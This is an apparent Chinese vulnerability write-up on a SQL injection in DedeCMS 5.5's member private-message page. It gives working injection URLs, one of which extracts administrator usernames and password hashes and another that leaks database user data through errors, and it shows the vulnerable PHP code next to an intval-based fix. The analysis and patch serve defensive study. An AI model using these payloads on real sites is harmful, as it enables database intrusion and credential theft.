. 漏洞描述

. 漏洞触发条件

. 漏洞影响范围

. 漏洞代码分析

. 防御方法

. 攻防思考

http://www.05112.com/anquan/ldfb/sql/2014/0209/7723.html

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1' and char(@`'`) and 1=2+UniOn+SelEct 1,2,3,4,5,6,7,8,9,10,11,12%20%23

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1′and char(@`’`) and 1=2+/*!50000Union*/+/*!50000select*/+1,2,3,4,5,6,userid,8,9,10,11,pwd+from+`%23@__admin`%23

http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1′ and @' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

http://www.myhack58.com/Article/html/3/62/2014/42255.htm

else if($dopost=='read')

{

    $sql = "SELECT * FROM `#@__member_friends` WHERE  mid='{$cfg_ml->M_ID}' AND ftype!='-1'  ORDER BY addtime DESC LIMIT 20";

    $friends = array();

    $dsql->SetQuery($sql);

    $dsql->Execute();

    while ($row = $dsql->GetArray())

    {

        $friends[] = $row;

    }

    //$id注入

    $row = $dsql->GetOne("SELECT * FROM `#@__member_pms` WHERE id='$id' AND (fromid='{$cfg_ml->M_ID}' OR toid='{$cfg_ml->M_ID}')");//ID没过滤

    if(!is_array($row))

    {

        ShowMsg('对不起，你指定的消息不存在或你没权限查看！','-1');

        exit();

    }

    //$id注入

    $dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE id='$id' AND folder='inbox' AND toid='{$cfg_ml->M_ID}'");

    $dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE folder='outbox' AND toid='{$cfg_ml->M_ID}'");

    include_once(dirname(__FILE__).'/templets/pm-read.htm');

    exit();

}

http://0day5.com/archives/1313

else if($dopost=='read')

{

    $sql = "Select * From `#@__member_friends` where  mid='{$cfg_ml->M_ID}' And ftype!='-1'  order by addtime desc limit 20";

    $friends = array();

    $dsql->SetQuery($sql);

    $dsql->Execute();

    while ($row = $dsql->GetArray())

    {

        $friends[] = $row;

    }

    /* $id过滤 */

    $id = intval($id);

    /* */

    $row = $dsql->GetOne("Select * From `#@__member_pms` where id='$id' And (fromid='{$cfg_ml->M_ID}' Or toid='{$cfg_ml->M_ID}')");

    if(!is_array($row))

    {

        ShowMsg('对不起，你指定的消息不存在或你没权限查看！','-1');

        exit();

    }

    $dsql->ExecuteNoneQuery("Update `#@__member_pms` set hasview=1 where id='$id' And folder='inbox' And toid='{$cfg_ml->M_ID}'");

    $dsql->ExecuteNoneQuery("Update `#@__member_pms` set hasview=1 where folder='outbox' And toid='{$cfg_ml->M_ID}'");

    include_once(dirname(__FILE__).'/templets/pm-read.htm');

    exit();

}